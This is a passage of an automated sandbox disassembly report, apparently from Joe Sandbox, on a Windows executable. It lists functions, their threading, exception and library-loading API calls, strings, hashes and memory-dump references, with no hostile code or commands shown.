Opcode Fuzzy Hash: 8855a6a9be19cc912e040998a95c185b2b15f028c0bb56cd1e5e4913b5d84e9d
Instruction Fuzzy Hash: D8A15A30E0C28386F6D4BB39A891B75BED4AF0A756F900137D819AA7D1DE3CF4508672

Function 00007FF7E3592240 Relevance: 10.6, APIs: 7, Instructions: 134threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7E359224F
EnterCriticalSection.KERNEL32 ref: 00007FF7E3592287
LeaveCriticalSection.KERNEL32 ref: 00007FF7E359229F
SwitchToThread.KERNEL32 ref: 00007FF7E359235A
SwitchToThread.KERNEL32 ref: 00007FF7E3592363
SwitchToThread.KERNEL32 ref: 00007FF7E359238D
LeaveCriticalSection.KERNEL32 ref: 00007FF7E3592432

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Thread$CriticalSectionSwitch$Leave$CurrentEnter
String ID:
API String ID: 2584832284-0
Opcode ID: 911a7cc94664f48a14bb56dfd2eba76f0f521efe915744327b0e3e75a7d93955
Instruction ID: 8743d913b96a887dedeb381a45af02cee3bbec817a217f70a91f9116da878819
Opcode Fuzzy Hash: 911a7cc94664f48a14bb56dfd2eba76f0f521efe915744327b0e3e75a7d93955
Instruction Fuzzy Hash: BB514A30E0C25786F6D4BB399891775BE94AF08742FD04537E82DA6392DE3CE4518AB3

Function 00007FF7E3576100 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7E357613A
GetCurrentProcess.KERNEL32 ref: 00007FF7E3576148
GetCurrentThread.KERNEL32 ref: 00007FF7E3576150
DuplicateHandle.KERNEL32 ref: 00007FF7E3576174

Part of subcall function 00007FF7E357A840: VirtualQuery.KERNEL32 ref: 00007FF7E357A872

RaiseFailFastException.KERNEL32 ref: 00007FF7E35761A2

Strings

, xrefs: 00007FF7E35761B6

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: Current$Thread$DuplicateExceptionFailFastHandleProcessQueryRaiseVirtual
String ID:
API String ID: 510365852-3916222277
Opcode ID: b1b1fbfb92f544876441bc4b4b9ec3831bb2498fef253353d8dffe26a98b5e26
Instruction ID: e7f54519b51f2ad08fe88cfbd6fb52e670ab7d379f2c2d6342c9ae9b49a4b8f5
Opcode Fuzzy Hash: b1b1fbfb92f544876441bc4b4b9ec3831bb2498fef253353d8dffe26a98b5e26
Instruction Fuzzy Hash: 8E118072A08B818AD790EF25A4412AAB761FB447B4F940336E6BD5BBD6CF38D5418701

Function 00007FF7E359D410 Relevance: 9.2, APIs: 6, Instructions: 189threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7E359D4DA
SwitchToThread.KERNEL32 ref: 00007FF7E359D4E3
SwitchToThread.KERNEL32 ref: 00007FF7E359D50D
SwitchToThread.KERNEL32 ref: 00007FF7E359D63F
SwitchToThread.KERNEL32 ref: 00007FF7E359D648
SwitchToThread.KERNEL32 ref: 00007FF7E359D672

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: cc35ecd5a93063da1183701248f17dca1c596e2e1d8d9986a40f28483dcd9575
Instruction ID: 50769b7a0465078e952e7d78a35f7e78499048e1a314c7a0f4d7688191b08d6e
Opcode Fuzzy Hash: cc35ecd5a93063da1183701248f17dca1c596e2e1d8d9986a40f28483dcd9575
Instruction Fuzzy Hash: 01814920A0C24286F6D6BB39D890735FED0AF4A755F90013BD96DA6791DE3DF4108A72

Function 00007FF7E3599F60 Relevance: 9.2, APIs: 6, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8155321a93176bc4c4200af923682af65ca18711955211ed52f216cd2b673b30
Instruction ID: b8699dbd67cd16afdbc24e4a853b8b19ccde78844ad0fa8e78eae828340de72a
Opcode Fuzzy Hash: 8155321a93176bc4c4200af923682af65ca18711955211ed52f216cd2b673b30
Instruction Fuzzy Hash: CD71A421A0978281FBD1BB359950379EBA1AF44B94F890437DE2D27B95DF3CE4208372

Function 00007FF7E359F8F0 Relevance: 7.8, APIs: 6, Instructions: 317COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E359FCDA
LeaveCriticalSection.KERNEL32 ref: 00007FF7E359FD1F
EnterCriticalSection.KERNEL32 ref: 00007FF7E359FDD7
LeaveCriticalSection.KERNEL32 ref: 00007FF7E359FDF8
EnterCriticalSection.KERNEL32 ref: 00007FF7E359FE3C
LeaveCriticalSection.KERNEL32 ref: 00007FF7E359FE5D

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ee0fd4760e92663805b7709b2b23ebc5e8a7ab991dfd8e4368035a15539f3436
Instruction ID: c184a46a9fdb6582113c9fe1ea4d0119ece59f4ecae300b4cc2a505790bde755
Opcode Fuzzy Hash: ee0fd4760e92663805b7709b2b23ebc5e8a7ab991dfd8e4368035a15539f3436
Instruction Fuzzy Hash: 86E1F262B09A4685DA949F64D9947B8B7A0EF047E6F814333D93D67BD8DF38D028C312

Function 00007FF7E3573500 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 00007FF7E35735A0
RaiseFailFastException.KERNEL32 ref: 00007FF7E35736A9
RaiseFailFastException.KERNEL32 ref: 00007FF7E35736E6

Strings

Process is terminating due to StackOverflowException., xrefs: 00007FF7E357358A

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise
String ID: Process is terminating due to StackOverflowException.
API String ID: 2546344036-2200901744
Opcode ID: a73f9b0b1186b8bf137041686a0ee60befa2ebf5b9cf55ecf46c091e51a068e4
Instruction ID: 566b8e22e3a0d42cb0a30cca3cd4d00587325b639eb775079a53e0ea5e1091a4
Opcode Fuzzy Hash: a73f9b0b1186b8bf137041686a0ee60befa2ebf5b9cf55ecf46c091e51a068e4
Instruction Fuzzy Hash: 3351B821F0964281EFE0AB25D480379AB90FF48BA5FC54133DA1E67790DF3DE5A58392

Function 00007FF7E35B2DC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,00000233C2400000,00007FF7E35B2EBD,?,?,00000000,00007FF7E359F8AC,?,FFFFFFFF,47AE147AE147AE15,00007FF7E358945C), ref: 00007FF7E35B2E12
GetProcAddress.KERNEL32(?,?,?,?,00000233C2400000,00007FF7E35B2EBD,?,?,00000000,00007FF7E359F8AC,?,FFFFFFFF,47AE147AE147AE15,00007FF7E358945C), ref: 00007FF7E35B2E2C

Strings

kernel32.dll, xrefs: 00007FF7E35B2DFD
GetEnabledXStateFeatures, xrefs: 00007FF7E35B2E22

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32.dll
API String ID: 2574300362-4754247
Opcode ID: 14ea90d1c4bf5a15a4085266709c85a67ad0a07a71323ba950ff44953a265e56
Instruction ID: cd28de0588b18b77e3fdefc5be4f5ca69aad815db21f7fe9d0a9fff299a23d1a
Opcode Fuzzy Hash: 14ea90d1c4bf5a15a4085266709c85a67ad0a07a71323ba950ff44953a265e56
Instruction Fuzzy Hash: 4B21E451F2C15242FFE8937AE051379A7819B58390FC8483BD90E957D4DD3DE9814622

Function 00007FF7E357AF90 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,00007FF7E35753FB), ref: 00007FF7E357AFA3
GetProcAddress.KERNEL32(?,?,?,?,00007FF7E35753FB), ref: 00007FF7E357AFB8

Strings

kernel32, xrefs: 00007FF7E357AF96
GetEnabledXStateFeatures, xrefs: 00007FF7E357AFAE

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: 274e0da2db24af44fa31abf1e79a32452a2f4646b1ed88df6da63e7f0bd2eccf
Instruction ID: 1e7bb77d167909cb7c754cf160f162dfb59856bccc99d63b2bffa13c0f470ccb
Opcode Fuzzy Hash: 274e0da2db24af44fa31abf1e79a32452a2f4646b1ed88df6da63e7f0bd2eccf
Instruction Fuzzy Hash: 5CE08608F1670285FFC8B7625891374D7A12F48781FCC5136C90D65390EE3CE75A9722

Function 00007FF7E357AFE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,00007FF7E3575376), ref: 00007FF7E357AFF3
GetProcAddress.KERNEL32(?,?,?,?,00007FF7E3575376), ref: 00007FF7E357B008

Strings

kernel32, xrefs: 00007FF7E357AFE6
GetEnabledXStateFeatures, xrefs: 00007FF7E357AFFE

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: ce6f5296a204aba61ce9ef49dc43d2f12b23842fbe95b74c7dd249d319ed59f7
Instruction ID: ee596af704946ddbafbd0c1e412240648c561781ee0c78b208619c8c4c3e1a90
Opcode Fuzzy Hash: ce6f5296a204aba61ce9ef49dc43d2f12b23842fbe95b74c7dd249d319ed59f7
Instruction Fuzzy Hash: F2E02600F2A20289FFC8BB32988137497A06F98701FCC0036CA0C11390ED3CE34A9722

Function 00007FF7E35AE700 Relevance: 6.1, APIs: 4, Instructions: 124threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7E35AE77B
SwitchToThread.KERNEL32 ref: 00007FF7E35AE819
SwitchToThread.KERNEL32 ref: 00007FF7E35AE82E

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: f4aaa3f96c492ce6e17f0f5d835cb774c61d338c5d6bba280d5d4821285017cf
Instruction ID: 783681466f85e1339860326e3164e2fb89dad36a2047007f4e6903c41cddc45a
Opcode Fuzzy Hash: f4aaa3f96c492ce6e17f0f5d835cb774c61d338c5d6bba280d5d4821285017cf
Instruction Fuzzy Hash: 8841D531A081D681EFE4AA35C05033DEB90EB84F95FB48537D62E567C5CE3CE8419762

Function 00007FF7E35919FD Relevance: 6.1, APIs: 4, Instructions: 119threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF7E3591B22
SwitchToThread.KERNEL32 ref: 00007FF7E3591DAE

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 44b941e54b3c05b20f0b851b031452e57e334a5e19445be4892a4e80d52cd89e
Instruction ID: 332a30051d7d772d8146528f5109bca80cf4c9ff46b202fd5208ef9003c5bdc9
Opcode Fuzzy Hash: 44b941e54b3c05b20f0b851b031452e57e334a5e19445be4892a4e80d52cd89e
Instruction Fuzzy Hash: 51512720E0826346F6D4BB399981775BF94AF08742F95403BE82AA63D1DE3CF9108273

Function 00007FF7E35AEE70 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 00007FF7E35AEF49
DebugBreak.KERNEL32 ref: 00007FF7E35AEF66
DebugBreak.KERNEL32 ref: 00007FF7E35AEF81
DebugBreak.KERNEL32 ref: 00007FF7E35AEF9A

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: e4ab8514af3f6f014f6506373d7b9cbb823d7638c04cae421d012170a137b048
Instruction ID: 382b1d941a0307d853cbfa0f98534a87d1fbc7b216e1973a4d5e29644ed357f1
Opcode Fuzzy Hash: e4ab8514af3f6f014f6506373d7b9cbb823d7638c04cae421d012170a137b048
Instruction Fuzzy Hash: D841E522A0D68181FAD17B31A140379EFA0EF84B98FA90436DE5D27795DF3CE441D762

Function 00007FF7E359D010 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7E359D0C9
DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7E359D0E6
DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7E359D106
DebugBreak.KERNEL32(?,?,00000000,?), ref: 00007FF7E359D129

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: 5f868e6883e4306e4798fc5c7dca6ba7319e688e635161da728f78dd99401986
Instruction ID: 8d5ad7d0d660254e22f64ab810f59e43bc68b99b42d7eb8f222c7010b7077cdf
Opcode Fuzzy Hash: 5f868e6883e4306e4798fc5c7dca6ba7319e688e635161da728f78dd99401986
Instruction Fuzzy Hash: F631C422A0978282EAA67F399140379EBE4EF45B84F890036DE5D27795DF3CE4418722

Function 00007FF7E357AB10 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

WaitForMultipleObjectsEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E3576291), ref: 00007FF7E357AB44
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E3576291), ref: 00007FF7E357AB4E
CoWaitForMultipleHandles.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E3576291), ref: 00007FF7E357AB6D
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E3576291), ref: 00007FF7E357AB81

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ErrorLastMultipleWait$HandlesObjects
String ID:
API String ID: 2817213684-0
Opcode ID: 2e4193dc27507b0cc0785436bf69825b5bf5a88872f1136b1b91a9cdfbe48115
Instruction ID: bd42a6f7609702b917f25ef2634000dd2e4ed9c5f3a79b6612b7464e2683e814
Opcode Fuzzy Hash: 2e4193dc27507b0cc0785436bf69825b5bf5a88872f1136b1b91a9cdfbe48115
Instruction Fuzzy Hash: 6311E93171C655C6E7949B36B80822AFBA2FB44B91F90013AFACD93BA4CF3CD5048B40

Function 00007FF7E35DA65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E35D97EB), ref: 00007FF7E35DA6AC
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E35D97EB), ref: 00007FF7E35DA6ED

Strings

csm, xrefs: 00007FF7E35DA6DA

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E376A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217881367.00007FF7E3770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217927613.00007FF7E3778000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3570000_lgX7lgUL1w.jbxd

Yara matches

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 305dc0d90ba247bf77b3081513aed6e1274f9ee9982620d9ea7225f6e90881e8
Instruction ID: a6f9415f308de42d2eab567e0af4203b43ffddbca5d551ba2003f59b73868207
Opcode Fuzzy Hash: 305dc0d90ba247bf77b3081513aed6e1274f9ee9982620d9ea7225f6e90881e8
Instruction Fuzzy Hash: 90115B32A08B4182EB619F25F80026ABBE1FB88B84F984232DB8C57764DF3CC555CB40

Function 00007FF7E35A1470 Relevance: 5.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7E358D326,?,-8000000000000000,00000001,00007FF7E359C4E6), ref: 00007FF7E35A14FA
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7E358D326,?,-8000000000000000,00000001,00007FF7E359C4E6), ref: 00007FF7E35A1569
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7E358D326,?,-8000000000000000,00000001,00007FF7E359C4E6), ref: 00007FF7E35A15B2
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7E358D326,?,-8000000000000000,00000001,00007FF7E359C4E6), ref: 00007FF7E35A15C8

Memory Dump Source

Source File: 00000000.00000002.1217645697.00007FF7E3571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E3570000, based on PE: true

Associated: 00000000.00000002.1217621779.00007FF7E3570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmpDownload File
